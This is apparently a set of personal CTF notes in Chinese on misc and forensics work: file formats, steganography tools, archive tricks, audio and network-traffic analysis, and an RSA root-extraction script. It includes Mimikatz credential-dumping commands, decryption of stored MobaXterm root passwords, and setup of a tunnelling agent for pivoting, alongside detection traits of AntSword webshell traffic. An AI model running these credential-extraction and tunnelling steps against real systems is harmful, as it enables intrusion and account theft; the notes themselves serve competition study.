对于保存的 PyTorch 模型，可以通过以下方式加载并进行推理：
# 加载完整模型
model = torch.load("model.pt")
model.eval() # 切换到评估模式
# 输入数据进行推理
output = model(input_data)
如果是 TorchScript 格式的模型：
# 加载 TorchScript 模型
scripted_model = torch.jit.load("entity.pt")
# 输入数据进行推理
output = scripted_model(input_data)
crypto文件
被加密过的文件，需要密钥打开，使用工具：Encrypto打开
img文件
磁盘文件，用FTK挂载
乱码代码
遇到乱码代码时可以去找AI帮忙识别一下得到正确的代码
pyc文件
uncompyle6 -o pcat.py pcat.pyc
反编译，得到输出py文件，pyc是待反编译的文件
pyinstaller打包文件
会发现一个可运行程序，其实看名字就知道是挖矿软件了，也可以运行尝试，运行之后会发现CPU占用率飙升，可以确定这就是挖矿程序
图标是用pyinstaller打包，使用pyinstxtractor进行反编译
对pyc文件进行反编译
可以看到挖矿地址是：wakuang.zhigongshanfang.top
gba文件
游戏文件，可以用visualboyadvance打开
AE的工程文件
这个用010editor打开或者strings提取会发现特征：
可以用MKVToolNix对字幕进行提取得到ass文件
只需要框中内容，十六进制转换保存为aep文件再去AE打开查看
kdbx文件
.kdbx 是密码管理工具 KeePass Password Safe 生成的加密数据库文件，用于安全存储用户的登录凭据（如网站密码、邮箱账户、FTP 信息等）。所有数据通过 AES 和 Twofish 算法加密，需主密码或密钥文件才能解密。
使用官方软件 KeePass Password Safe打开
需要密码
PDF文件格式
这个之前遇到过要修复一个PDF文件来显示原始的文件，需要了解PDF文件格式，下面这个博客讲的很清楚：
在nssctf那篇博客的Stupid students题目有相应的题目
pth文件
这篇博客讲的很详细
【Pytorch】一文详细介绍 pth格式 文件_pth文件-CSDN博客
一般来说就是加载模型来查看是否有隐藏信息
可以尝试的操作
strings
使用strings命令可以提取文件中的字符串，可以找flag字眼
strings 文件名
文件分离
文件中可能会隐藏文件，这个和上面的图片分离一样的
binwalk 文件名
binwalk 文件名 -e
foremost 文件名
foremost 文件名 -o 输出的文件夹名称
dd if=待处理文件 of=输出文件 skip=开始的块 bs=字节大小 count =次数
NTFS流隐写
NTFS交换数据流（alternate data streams，简称ADS）是NTFS磁盘格式的一个特性，在NTFS文件系统下，每个文件都可以存在多个数据流，就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中
若是直接用一些工具打开压缩包会少一些文件，但是用特定工具打开就会显示被隐藏的文件
使用7z打开之后在文件一栏后面可以看到
字频统计
看到很多的乱码或者大段字符串想到这个，统计每个字符出现的频率，使用脚本统计
下面是找的大佬的脚本
# -*- coding:utf-8 -*-
#Author: mochu7
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+- =\\{\\}[]"
strings = "待处理的字符串"
result = {}
for i in alphabet:
counts = strings.count(i)
i = '{0}'.format(i)
result[i] = counts
res = sorted(result.items(),key=lambda item:item[1],reverse=True)
for data in res:
print(data)
for i in res:
flag = str(i[0])
print(flag[0],end="")
时间戳
时间戳是一种数据记录形式，它表示自1970年1月1日（格林威治时间）至当前时间的总秒数。这种计时方式也被称为Unix时间戳，因为它起源于Unix操作系统。时间戳提供了一种简单的时间表示方法，可以用于各种计算机程序和系统之间的时间相关操作
可以使用在线网站时间戳转换工具 - 在线时间工具箱
这个是使用python
print(__import__('time').time())
字符作画
当一段字符或者数字看起来像画时，若是看不出来就用脚本转空格
去除重复行
看到文件中有很多一样的重复的行，要去除重复行，再来看看有没有有用信息
不同文件的隐藏文件头
当多个文件的后面都含有同一个文件的头或者是一看能感觉是同一个文件的，看是否是一个文件被分成了多份，找到并拼成一个相应文件
坐标隐写
当得到一些坐标数据是，数量不多，可以猜测是坐标隐写，先转换x坐标的值，再转换y坐标的值
Alt键加数字
按住Alt键再输入数字后松开Alt所得到的并不是数字，而是字符，有一些是非ascii字符。可以作为一种思路
AMM算法
RSA算法中，已知e，c，p，其中e和p-1存在较大公因数
脚本，网站运行
https://sagecell.sagemath.org/
#Sage
import random
import time
# About 3 seconds to run
def AMM(o, r, q):
start = time.time()
print('\n----------------------------------------------------------------------------------')
print('Start to run Adleman-Manders-Miller Root Extraction Method')
print('Try to find one {:#x}th root of {} modulo {}'.format(r, o, q))
g = GF(q)
o = g(o)
p = g(random.randint(1, q))
while p ^ ((q-1) // r) == 1:
p = g(random.randint(1, q))
print('[+] Find p:{}'.format(p))
t = 0
s = q - 1
while s % r == 0:
t += 1
s = s // r
print('[+] Find s:{}, t:{}'.format(s, t))
k = 1
while (k * s + 1) % r != 0:
k += 1
alp = (k * s + 1) // r
print('[+] Find alp:{}'.format(alp))
a = p ^ (r**(t-1) * s)
b = o ^ (r*alp - 1)
c = p ^ s
h = 1
for i in range(1, t):
d = b ^ (r^(t-1-i))
if d == 1:
j = 0
else:
print('[+] Calculating DLP...')
j = - discrete_log(a, d)
print('[+] Finish DLP...')
b = b * (c^r)^j
h = h * c^j
c = c ^ r
result = o^alp * h
end = time.time()
print("Finished in {} seconds.".format(end - start))
print('Find one solution: {}'.format(result))
return result
def findAllPRoot(p, e):
print("Start to find all the Primitive {:#x}th root of 1 modulo {}.".format(e, p))
start = time.time()
proot = set()
while len(proot) < e:
proot.add(pow(random.randint(2, p-1), (p-1)//e, p))
end = time.time()
print("Finished in {} seconds.".format(end - start))
return proot
def findAllSolutions(mp, proot, cp, p):
print("Start to find all the {:#x}th root of {} modulo {}.".format(e, cp, p))
start = time.time()
all_mp = set()
for root in proot:
mp2 = mp * root % p
assert(pow(mp2, e, p) == cp)
all_mp.add(mp2)
end = time.time()
print("Finished in {} seconds.".format(end - start))
return all_mp
c = 821562155714228494350968286343241874202753771452745916900616612053610190986294297934462409534126095213198464996196364868528238538372119009517541428785632007137206972918081643841690069171088425923887930051635578719252415693144672179185417101210954906623326286804995637775062840407550493095027500638719998
p = 19897846550210846565807788524492364050901480736489979129040638436463635149815428186161001280958415730930156556581274966745574164608778242980049611665461488306439665507971670397595035647317930606555771720849158745264269952668944940061576328219674721623208805067371087817766416300084129945316973502412996143
#q = 112213695905472142415221444515326532320352429478341683352811183503269676555434601229013679319423878238944956830244386653674413411658696751173844443394608246716053086226910581400528167848306119179879115809778793093611381764939789057524575349501163689452810148280625226541609383166347879832134495444706697124741
e=1801
cp = c % p
#cq = c % q
mp = AMM(cp, e, p)
#mq = AMM(cq, e, q)
p_proot = findAllPRoot(p, e)
#q_proot = findAllPRoot(q, e)
mps = findAllSolutions(mp, p_proot, cp, p)
#mqs = findAllSolutions(mq, q_proot, cq, q)
#print(mps, mqs)
def check(m):
h = hex(m)[2:]
if len(h) & 1:
return False
if bytes.fromhex(h).startswith(b'flag'):
print( bytes.fromhex(h))
return True
else:
return False
start = time.time()
print('Start CRT...')
for mpp in mps:
check(mpp)
print(time.time() - start)
end = time.time()
print("Finished in {} seconds.".format(end - start))
PS打开文件
文件用010editor打开之后能看到有adobe就可以用PS打开看看有什么隐藏信息
Word打开文件
这个可以用于当打开一个文本文件时显示为乱码的情况，选择用word打开并选择不同的编码方式会发现内容会变得不一样或者是得到有用信息
搜索引擎打开文件
遇到很大一串字符时，看开头的标识是否是熟悉的文件，尝试直接将其放入搜索框看看能不能读取什么文件得到有用信息
TTL加密
文件中只有4个数字并且有规律可循，例如63，255，191等等，不难发现，这些值都为2的n次方减去一后的值。在转为二进制后提取不同的进行解密
所有TTL加密的解密方法：
1，将所有前两位合并为8位，并且每八位一组
2，将上面的每组转化为十六进制的字符
Word文档隐藏
全选文本消除字体样式或者加深字体颜色，有些会出现被隐藏的信息
嵌套压缩包
遇到嵌套的压缩包就直接用脚本解压缩，因为根本不知道有多少个等着你
下面是找的大佬的脚本，文件名是flag后面加数字的，可以按需修改
import zipfile
import os
def flag(number):
try:
zipname = 'flag' + str(number) + '.zip' # 在flag添加数字后缀，以避免重复
os.rename('flag.zip', zipname) # 将添加了后缀的文件，改名
zfile = zipfile.ZipFile(zipname, 'r')
print(zfile)
zfile.extractall(path='.') # 完成解压
except:
print("已解压缩完毕")
for i in range(0, 600): # 数值可以做调整
flag(i)
时间轴隐写
用010打开看delaytime，发现不一样可能就是这个
使用以下命令即可提取gif文件的动画帧的延迟时间
identify -format "%T" flag.gif
stegosaurus隐写
Stegosaurus 是一种隐写工具，允许在 Python 字节码（pyc 或 pyo）中隐藏文件
./stegosaurus -x 反编译文件
找熟悉的文件特定十六进制
010editor打开之后多找以下知道的特定的十六进制，比如IHDR这种，有一些可能就是文件分离但是出题人把被隐藏的文件的文件头去掉了导致使用binwalk查看不到，这种的就在找到之后补上文件头再进行分离就ok
openssl
可以用来检查私钥
openssl rsa -in private_key.pem -check
openssl
这是 OpenSSL 工具的入口命令，表示使用 OpenSSL。
rsa
指定操作的对象是 RSA 密钥文件。
-in private_key.pem
指定输入的文件路径，这里是一个名为 private_key.pem 的私钥文件。
-check
要求对私钥进行一致性和有效性检查，例如：
- 验证密钥是否符合 RSA 密钥的结构。
- 检查私钥的参数（如模数、指数等）是否正确。
- 确保密钥没有被损坏。
运行该命令后，你会看到以下内容：
-
私钥的详细信息
- 模数（Modulus）：密钥的模数部分。
- 公用指数（Public exponent）：公钥的指数部分（通常是 65537）。
- 私钥的各参数（如质因数 P 和 Q）：这是用于生成私钥的内部参数。
-
检查结果
如果私钥有效，最后会显示一条消息，例如：vbnet 复制编辑 RSA key ok -
其他信息
如果密钥是加密的（需要密码），会提示输入密码解密后再检查。
使用场景：
- 验证密钥文件是否损坏：例如，从备份恢复的密钥或从其他设备导入的密钥，确保其可用性。
- 调试密钥问题：如果与私钥相关的加密或签名操作失败，可以用此命令确认密钥是否正确。
openssl rsa -in private_key.pem -text
-text
表示以可读的纯文本形式输出密钥的详细信息（包括私钥的内部参数）。
运行该命令后，你将看到以下内容：
-
私钥的详细参数
- Modulus (模数)
公钥和私钥的核心部分，用于加密和解密操作。 - Public Exponent (公钥指数)
通常是65537，是公钥中常用的标准值。 - Private Exponent (私钥指数)
私钥特有部分，与模数和公钥指数一起用于解密。 - Prime1 和 Prime2 (两个质数)
私钥生成过程中使用的两个大质数。 - Exponent1 和 Exponent2 (两个指数)
CRT（中国剩余定理）加速解密时使用的参数。 - Coefficient (系数)
用于加速计算的参数。
这些参数在 RSA 密钥生成中具有数学意义。
- Modulus (模数)
-
Base64 编码的私钥块
原始的私钥数据以 PEM 格式显示，这是一种基于 Base64 的编码，用于存储密钥。
看起来像这样：vbnet复制编辑-----BEGIN RSA PRIVATE KEY----- MIICXAIBAAKBgQDPa7jOr7m2c+... -----END RSA PRIVATE KEY----- -
任何潜在的错误或警告
如果私钥有问题（例如被破坏、不完整），命令会输出相关错误信息。
ssh连接：how-does-MobaXterm-encrypt-password
得到配置文件ini查看是否有类似：用户名@服务器=密码这种的，类似：
[Passwords]
mobauser@mobaserver=W0nmIUoAHiS7Enz5knrBGIULkm7tzQkT
ssh22:root@8.146.206.183=DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqL
root@8.146.206.183=DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqL
要是有可以尝试ssh连接，命令：
python MobaXtermCipher.py dec -p flag_is_here DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqL
这个用了工具how-does-MobaXterm-encrypt-password
python MobaXtermCipher.py
- 这个部分表示使用 Python 解释器来运行
MobaXtermCipher.py脚本，后面跟的命令会指示该脚本执行特定的操作。
dec
- 这个参数表示脚本应该执行 解密（decrypt）操作。也就是说，命令行告诉
MobaXtermCipher.py脚本去解密后面跟的加密密码。
-p flag_is_here
-p是指定主密钥的选项，这里主密钥是flag_is_here。也就是说，flag_is_here是解密所需的密钥。该主密钥将用于解密给定的密文。- 这表示你已知主密钥，并通过这个主密钥来解密密码。
DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqL
- 这是需要解密的加密密码，可能是使用对称加密（如 AES）或其他加密方法加密过的密码。
- 这个密码是以加密格式（密文）存储的，必须通过提供正确的主密钥（
flag_is_here）来解密它。
要是不知道主密钥，可以用下面命令：
python MobaXtermCipher.py dec -h 8.146.206.183 -u root DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqL
-h 8.146.206.183
- 这个 IP 地址对应
.ini文件中的8.146.206.183服务器。通过这个命令，脚本会尝试连接到该服务器来解密密码。也就是说，命令会访问这个服务器的某些资源（例如，密钥或相关的解密材料）来帮助解密。
-u root
- 这里的
root是.ini文件中存储的用户，表示你要解密的是root用户在8.146.206.183服务器上的密码。该密码是通过某种方式加密过的，需要主密钥或服务器上的信息来解密。
解密流程总结
- 脚本使用服务器信息：命令中的
-h 8.146.206.183和-u root参数告诉脚本要连接的目标服务器和用户。这可以帮助脚本查找与解密相关的密钥或配置信息。 - 通过 SSH 连接到服务器：由于
.ini文件中提到的是ssh22:root@8.146.206.183，这表明脚本可能使用 SSH 协议连接到该服务器。它可能会尝试通过 SSH 身份验证来获取访问权限，或者读取服务器上的某些配置文件来帮助解密。 - 解密密码：通过连接到目标服务器并使用服务器上的某些信息，脚本可以解密加密密码
DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqL。这通常是通过加密密钥或相关加密材料来完成的。
文本盲水印
盲水印算法的基本原理是将数字水印嵌入到数字媒体的频域或空域中，使得数字水印能够在不影响原始媒体质量的情况下被提取出来。 盲水印算法通常包括两个主要步骤：嵌入和提取。 在嵌入阶段，数字水印被嵌入到数字媒体中。 这通常涉及到将数字水印转换为频域或空域信号，并将其嵌入到数字媒体中。 嵌入过程需要考虑数字水印的鲁棒性和不可见性，以确保数字水印能够在不影响原始媒体质量的情况下被提取出来
很大一串文字的时候可以用作尝试
bandzip的密码管理器
有时候密码会藏在这里
提取extract
- ZIP 文件存在一些非标准或额外字段（Extra Field）
- ZIP 文件格式支持一些「额外信息字段」，比如时间戳、系统信息、兼容字段等。
- 一些压缩工具（如 Python 的
zipfile模块、Linux 的zip命令）可能以简单格式写入压缩包； - 而 WinRAR 或 7-Zip 读取时，如果发现这些字段格式或长度异常，就会提示
Minor Extra ERROR。
- ZIP 中的条目有轻微错误或非标准结构
- 比如某个文件名或注释字段格式不完整；
- 或是压缩率字段有问题但能恢复；
- 对于一些 CTF 题目或特意构造的压缩包，这是刻意设计的一部分。
脚本：
from zipfile import ZipFile
data = []
with ZipFile('newfile.zip', 'r') as zf:
for i in zf.infolist():
data.append(i.extra) # 提取每个文件条目的 "extra" 字段（额外信息）
with open('flag.zip', 'wb') as fz:
for i in data:
fz.write(i) # 拼接写入新文件
工具
NtfsStreamsEditor
这个工具是用来检测NTFS数据流的，txt文件可以尝试
Steghide
在音频和图像文件中嵌入秘密信息，包括 JPEG、BMP、WAV 和 AU 文件
steghide extract -sf 文件名
Kinovea
查看视频帧，要是不对就用pr打开看
IDA
逆向工具，打开exe文件
Hashcat
用哈希值破解压缩包
Kali——密码攻击——Hashcat工具使用_kali hashcat-CSDN博客
网站时光机
可以回到以前存在过的网站，即使网站更新或者内容被修改了也能看到当时网站的旧版本内容
wbstego4open
一个隐写工具，可以把文件隐藏到BMP、 TXT、 HTM 和 PDF 文件中
需要密码，但是若是没有密码也可以直接输入空密码解密
各种压缩包查看工具
Winrar：直接打开压缩包，旁边会有压缩包注释
7z：也是直接查看压缩包里面的内容，一些镜像文件也可以打开，可以查看交替数据流，这个用一些的其他的压缩软件打开可能会看不到
360压缩：有时候用Winrar打开发现说文件错误或者是什么可以尝试用360打开，里面也有备注
banzip：这个是之前做的一道题目用其他压缩软件打开发现注释都是乱码，只有这个打开不是乱码，可能每个软件的压缩格式什么的不同吗
以后遇到压缩包不能进行下一步分析可以尝试多用几个不同的压缩软件打开看看有没有什么不同的地方
VeraCrypto
挂载工具，可以挂载txt文件
FTK
img文件挂载工具
olevba
提取word文档里的宏
当在word压缩包的word里面找到bin文件时可以尝试
olevba 文件名
oursecret
用密钥来解密被加密的文件
MKVToolNix
可以用来提取视频中的视频、音频和字幕
PaperBack
用来打开bmp文件，可能会得到新文件
注意敏感信息
两个数据
二进制1和0
比如黑白像素图片
四个数据
四个数据出现并重复可以猜测是00，01，10，11进行转换
八个数据
这个也是可以猜测二进制，转换成0或者1，八个一组进行二进制转换
比如之前做了一个题目的gif刚刚好八帧，可以对其进行identity获取数据再进行下一步分析
音频异或隐写
音频文件损坏，用010打开，发现很多A1什么的，用十六进制异或无符号，异或A1
这个是之前遇到过的一道题，从来没见过
[BUUCTF：ACTF新生赛2020]music-CSDN博客
文件名
有一些文件名看着像什么经过加密的字符串要注意，特别是嵌套压缩包，可能是要文件名拼接解码
BV开头的字符串
可能是b站视频，可以拿去b站搜索
010editor模板
能装模板的文件就要装模板，这样能看出一些藏起来的文件头，即使它错了一点
音频
拨音号
命令：
dtmf2num hhh.wav
hhh.wav是输入文件
Audacity
这个工具可以看到音频的波形图和频谱图，在波形图中可能会有摩斯密码、二进制等信息，频谱图有时候打开看可以直接看到被画上去的信息
高增幅1，低增幅0脚本：
import numpy as np
import struct
import wave
import re
def write_records(records, format, f):
record_struct = Struct(format)
for r in records:
f.write(record_struct.pack(*r))
path = "./music.wav"
f = wave.open(path, "rb")
params = f.getparams()
nchannels, sampwidth, framerate, nframes = params[:4]
str_data = f.readframes(nframes)
f.close()
wave_data = np.fromstring(str_data, dtype=np.short)
b = ''
d = ''
max = 0
for i in wave_data:
if i <0:
if max !=0:
if max<25000:
d +='0'
else:
d += '1'
pass
max = 0
if max < i:
max = i
print(d)
print("\n\n\n\n")
a = re.findall(r'.{8}',d)
hex_list=[]
for i in a:
res = hex(int(i,2))
hex_list.append(res)
print(hex_list)
with open("result.txt","wb") as f:
for x in hex_list:
s = struct.pack('B',int(x,16))
f.write(s)
Mp3Stego
音频解密，使用下面命令解密
Decode -X -P 密码 文件名
SlientEye
音频隐写工具，可以尝试丢进去看看有没有加密
这个可以是没有密码的加密，也可以是带密码的加密，如果是有密码的就勾选下面的Encrypt，后面的两个框框都填上密码
deepsound
音频文件隐藏，可以用来发现隐藏文件
ffmpeg
是一个把音频从视频当中提取的工具，命令：
ffmpeg -i "视频文件名称" -c:a copy output.wav
output.wav是输出文件名
minimodem
一个用于调制解调（modem）信号处理的工具，通常用于解码调制过的音频信号。它可以接收和发送各种调制格式的信号，如 1200bps 的 Bell 202 和其他标准调制解调协议
命令：
minimodem --rx -f moe_modem.wav 1200
minimodem：这是程序的名称，负责调制解调的操作
--rx：表示接收模式（receive mode）。minimodem 既可以在接收（RX）模式下工作，也可以在发送（TX）模式下工作。此标志指定它将从音频文件中解调（接收）信号
-f moe_modem.wav：指定要从中接收信号的音频文件。这里，moe_modem.wav 是包含调制信号的音频文件
1200：这指定了使用的波特率（baud rate）。1200bps 这个波特率通常与 Bell 202 调制解调协议相关，特别是在旧式调制解调器（如 1200bps Bell 202）中使用
音频文件的对比
得到两个听起来一样的音频文件，可以比较两个文件的细微变化来找出不一样的地方
脚本：
import librosa
import numpy as np
def compare_audio(file1, file2, output_txt="diff_output.txt", scale_factor=10000000):
""" 比较两个音频文件的细微差异，并提取整数部分，最后一行输出所有整数 """
# 加载音频数据
data1, sr1 = librosa.load(file1, sr=None, dtype='float32')
data2, sr2 = librosa.load(file2, sr=None, dtype='float32')
# 确保采样率一致
if sr1 != sr2:
print("⚠️ 采样率不同，无法比较！")
return
# 取最短长度，避免索引越界
min_length = min(len(data1), len(data2))
data1, data2 = data1[:min_length], data2[:min_length]
# 计算振幅差异，并放大
diff = (data1 - data2) * scale_factor
# 找出有差异的索引
diff_indices = np.where(diff != 0)[0]
print(f" 发现 {len(diff_indices)} 处不同")
# 存储所有整数部分
int_diff_list = []
# 保存不同点的信息到 TXT
with open(output_txt, "w", encoding="utf-8") as txtfile:
txtfile.write("索引 文件1振幅 文件2振幅 差值绝对值 整数部分\n")
for idx in diff_indices:
abs_diff = abs(diff[idx]) # 计算绝对值
int_diff = int(abs_diff) # 提取整数部分
int_diff_list.append(str(int_diff)) # 存入列表
txtfile.write(f"{idx} {data1[idx]:.8f} {data2[idx]:.8f} {abs_diff:.8f} {int_diff}\n")
# 在最后一行写入所有整数部分
txtfile.write("\n整数部分汇总: " + " ".join(int_diff_list) + "\n")
print(f"✅ 结果已保存到 {output_txt}")
# 测试：替换成你的音频文件路径
compare_audio("secret.wav", "222.wav")
流量
tshark
提取特定数据
例：
tshark -r "NetHttP.pcapng" -Y "http" -T fields -e tcp.stream -e frame.number -e frame.len -e http.request.uri -e http.response.code > http_traffic.txt
tshark:tshark是 Wireshark 的命令行版本，用于捕获和分析网络流量。
-r "D:\contest\NetHttP.pcapng":-r用于读取指定的网络流量文件（这里是一个pcapng格式的文件）。"D:\contest\NetHttP.pcapng"是要分析的网络流量文件路径。
-Y "http":-Y表示应用一个显示过滤器（Display Filter）。"http"是过滤条件，表示只显示 HTTP 协议相关的流量。- 示例：仅提取 GET/POST 请求、HTTP 响应等相关流量，而忽略其他协议（如 TCP 握手、DNS 查询）。
-T fields:-T表示输出的格式类型。fields指定输出为字段化的数据格式，只输出选定的字段内容，而不是完整的流量数据。
-e tcp.stream:-e指定输出的字段。tcp.stream是一个字段，表示 TCP 的流编号，用于区分不同的 TCP 会话（每个 TCP 会话都有一个唯一的流编号）。
-e frame.number:- 提取数据包的帧编号（Frame Number），即当前数据包在捕获文件中的序号。
-e frame.len:- 提取数据包的帧长度（Frame Length），即数据包的大小（以字节为单位）。
-e http.request.uri:- 提取 HTTP 请求的 URI（Uniform Resource Identifier），比如
/index.html或/api/login。 - 如果该数据包不是 HTTP 请求，则此字段为空。
- 提取 HTTP 请求的 URI（Uniform Resource Identifier），比如
-e http.response.code:- 提取 HTTP 响应状态码，例如：
200表示成功。404表示未找到。500表示服务器内部错误。
- 如果该数据包不是 HTTP 响应，则此字段为空。
- 提取 HTTP 响应状态码，例如：
> http_traffic.txt:- 将命令的输出内容重定向到文件
http_traffic.txt中，而不是显示在终端。
- 将命令的输出内容重定向到文件
.dmp文件
.dmp 文件通常是内存转储（Memory Dump）文件的扩展名。它保存了程序在特定时间点（通常是程序崩溃或发生错误时）内存中的内容。这些文件通常用于调试目的，以帮助开发人员了解程序崩溃或错误发生的原因。
如果 .dmp 文件包含了程序内存中的敏感信息，如明文密码、加密密钥、用户数据等，黑客可能通过分析 .dmp 文件获取这些信息
Mimikatz
一种安全测试和渗透测试工具，可以分析.dmp文件
privilege::debug
提升 Mimikatz 的权限，使其能够访问某些受保护的进程和内存区域。
sekurlsa::minidump 文件名
告诉 Mimikatz 加载一个特定的内存转储文件
sekurlsa::logonpasswords full
用于提取当前系统中所有用户的登录凭证信息，包括明文密码、密码哈希、Kerberos 票据等
登录主机
流量包中发现尝试登录主机的，尝试从查看导出文件，寻找最大的那一个
USB流量
键盘
这个是使用tshark
tshark -r 文件名-T fields -e usb.capdata | sed '/^\s*$/d' > usbdata.txt #提取并除去空行
看是否有冒号，若没有则用脚本加上
再用脚本还原信息
这个是用工具
wangYihang/UsbKeyboardDataHacker： USB键盘流量包取证工具 ， 用于恢复用户的击键信息
poetry run python UsbKeyboardDataHacker.py --input tests/example.pcap
USB流量介绍：USB - CTF Wiki
鼠标
运行命令
tshark -r capture.pcapng -T fields -e usb.capdata > usbdata.txt
得到的数据转换为坐标在利用gunplot进行转换
超级好用的工具：
cns1rius/USB_Gui: USB键鼠流量分析工具Gui
还有一个：
得到csv文件：
poetry run python usb-mouse-pcap-visualizer.py -i data.pcap -o data.csv
可视化网站：
usb-mouse-pcap-visualizer.vercel.app
TLS流量过滤
-----BEGIN RSA PRIVATE KEY-----
XXXXXXX
-----END RSA PRIVATE KEY-----
上面的是密钥的格式
Wireshark导入密钥：编辑 -> 首选项 -> TLS -> Edit -> +号->文件名添加
用来查看http流量
密钥格式不拘泥于上面一种形式，也有：
SERVER_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 994da7436ac3193aff9c2ebaa3c072ea2c5b704683928e9f6e24d183e7e530386c1dcd186b9286f98249b4dc90d8b795
EXPORTER_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 31882156a3212a425590ce171cb78068ee63e7358b587fed472d45d67ea567d98a079c84867a18665732cf0bfe18f0b0
SERVER_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 1fbf7c07ca88c7c91be9cce4c9051f2f4bd7fb9714920661d026119ebab458db8637089348dd5a92dc75633bdcf43630
CLIENT_HANDSHAKE_TRAFFIC_SECRET 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 a98fab3039737579a50e2b3d0bbaba7c9fcf6881d26ccf15890b06d723ba605f096dbe448cd9dcc6cf4ef5c82d187bd0
CLIENT_TRAFFIC_SECRET_0 9745a631db0b9b715f18a55220e17c88fdf3389c0ee899cfcc45faa8696462c1 646306cb35d94f23e125225dc3d3c727df65b6fcec4c6cd77b6f8e2ff36d48e2b7e92e8f9188597c961866b3b667f405
题：[BUUCTF 第九章][9.3.3 TLS流量分析] Writeup_[第九章][9.3.3 tls流量分析]tls流量分析-CSDN博客
UDP协议
UDP（User Datagram Protocol，用户数据报协议）是一个无连接的通信协议，属于互联网协议套件中的传输层协议。与 TCP（Transmission Control Protocol，传输控制协议）相比，UDP 是一种更加轻量级的协议，主要用于需要快速传输但对可靠性要求不高的场景（如视频通话）
RTP协议
RTP 是一种网络传输协议，用于在实时通信中传输音频和视频数据。RTP 通常与 SIP 配合使用，负责实际的媒体数据传输
VOIP
ICMP协议
ICMP（Internet Control Message Protocol，互联网控制消息协议）是一种用于在网络设备之间发送控制消息的协议，通常用于诊断网络连接问题和传递错误消息。
如 Ping 工具使用 ICMP 的 "回显请求" 和 "回显应答" 消息来测试主机之间的连通性。源主机会发送 ICMP 回显请求到目标主机，目标主机会回复 ICMP 回显应答，源主机通过计算响应时间来判断网络状况。
ICMP 协议是 TCP/IP 协议栈中的一部分，主要与 IP 协议一起使用
蚁剑流量
蚁剑（AntSword）是一款开源的Webshell管理工具，通常用于管理远程服务器上的Webshell，它支持多种协议（如HTTP、HTTPS、WebSocket）来与远程服务器通信。这些通信流量一般称为“蚁剑流量”，用于远程控制服务器并执行命令、上传文件等操作。黑客常用蚁剑作为远程控制工具之一
蚁剑流量的主要特点包括：
-
HTTP/HTTPS通信：
- 蚁剑通常使用HTTP或HTTPS与Webshell通信。它通过发送HTTP请求（例如POST请求）将命令、文件等内容传递给服务器上的Webshell，并通过HTTP响应获得执行结果。
- 由于使用HTTP(S)，蚁剑流量可以伪装成普通的Web请求流量。加密的HTTPS可以有效隐藏流量内容，使得网络监控工具无法直接分析通信内容。
-
自定义编码和数据格式：
- 蚁剑默认会对流量进行编码，例如Base64或其他自定义编码，来混淆流量内容。
- 在请求数据中，常见的编码字段包括
cmd（命令）和data（数据内容），这些内容被编码后发送到Webshell执行。
-
特定的请求特征：
- 蚁剑流量的HTTP请求通常包含一些特定的参数，如
z0、z1等，代表不同的功能调用。 - 请求头中可能包含自定义User-Agent，或者是伪装成普通的浏览器User-Agent。User-Agent字符串和Referer字段可能带有特定特征，便于识别。
- 蚁剑流量的HTTP请求通常包含一些特定的参数，如
-
WebSocket支持：
- 蚁剑也支持WebSocket通信，以实现持久连接，通常用于高频交互或持续命令执行。
- WebSocket通信不像HTTP那样每次都建立和断开连接，而是一个持久连接，黑客能够持续地发送命令和接收响应。
-
流量混淆：
-
为了绕过检测，蚁剑支持混淆技术，使得流量难以通过简单的特征匹配来检测。
-
一些自定义插件可以进一步加密数据或修改请求结构。
-
SplFileObject
SplFileObject 是 PHP 中的一个内置类，用于处理文件的读取、写入和其他文件操作。它是 PHP 的 SPL（Standard PHP Library，标准 PHP 库）的一部分，提供了方便的方法来操作文件内容，例如按行读取、按块读取、写入文件等。相比于传统的 fopen、fread 等文件操作函数，SplFileObject 提供了面向对象的接口，让文件操作更加直观和简洁。
分析日志
文件泄露：找状态码200，因为200是请求成功，代表文件已经被下载
是否有sql注入
特定信息
当需要在流量包里面寻找特定信息时，可以过滤查找信息，比如在http协议中找github，可以过滤
http contains "github"
终端连接
可以在终端中使用参数启动工具，通过指定监听地址、代理服务器、加密密钥等来配置通信和连接的方式。
通常，你可以在终端中输入类似如下的命令来启动该工具，并传入参数：
./tool_name -l [ip]:[port] -s [密钥] -c [目标地址] --proxy [代理地址] --proxyu [用户名] --proxyp [密码]
具体命令需要根据工具的名字和使用要求来写。假设工具的文件名是 tool_name，并且你要在主动模式下连接远程节点，你可以执行这样的命令：
./tool_name -l 192.168.1.10:8080 -s mysecretkey -c 192.168.1.20:9090 --proxy 127.0.0.1:1080 --proxyu user --proxyp password
这个命令配置了监听地址（-l）、通信密钥（-s）、目标地址（-c）以及代理服务器的地址、用户名和密码。
admin 模块参数：
-l：设置被动模式下的监听地址，格式为[ip]:<port>。-s：节点通信加密密钥，所有节点（admin和agent）必须一致。-c：主动模式下的目标节点地址。--proxy：设置socks5代理服务器的地址。--proxyu：socks5代理服务器的用户名（可选）。--proxyp：socks5代理服务器的密码（可选）。--down：下游协议类型，默认为裸TCP流量，也可以选择HTTP。
agent 模块参数：
-l：设置被动模式下的监听地址，格式为[ip]:<port>。-s：节点通信加密密钥。-c：主动模式下的目标节点地址。--proxy：设置socks5代理服务器的地址。--proxyu：socks5代理服务器的用户名（可选）。--proxyp：socks5代理服务器的密码（可选）。--reconnect：重连时间间隔。--rehost：端口复用时复用的 IP 地址。--rebind：端口复用时复用的端口号。--up：上游协议类型，默认为裸TCP流量，也可以选择HTTP。--down：下游协议类型，默认为裸TCP流量，也可以选择HTTP。
Http2
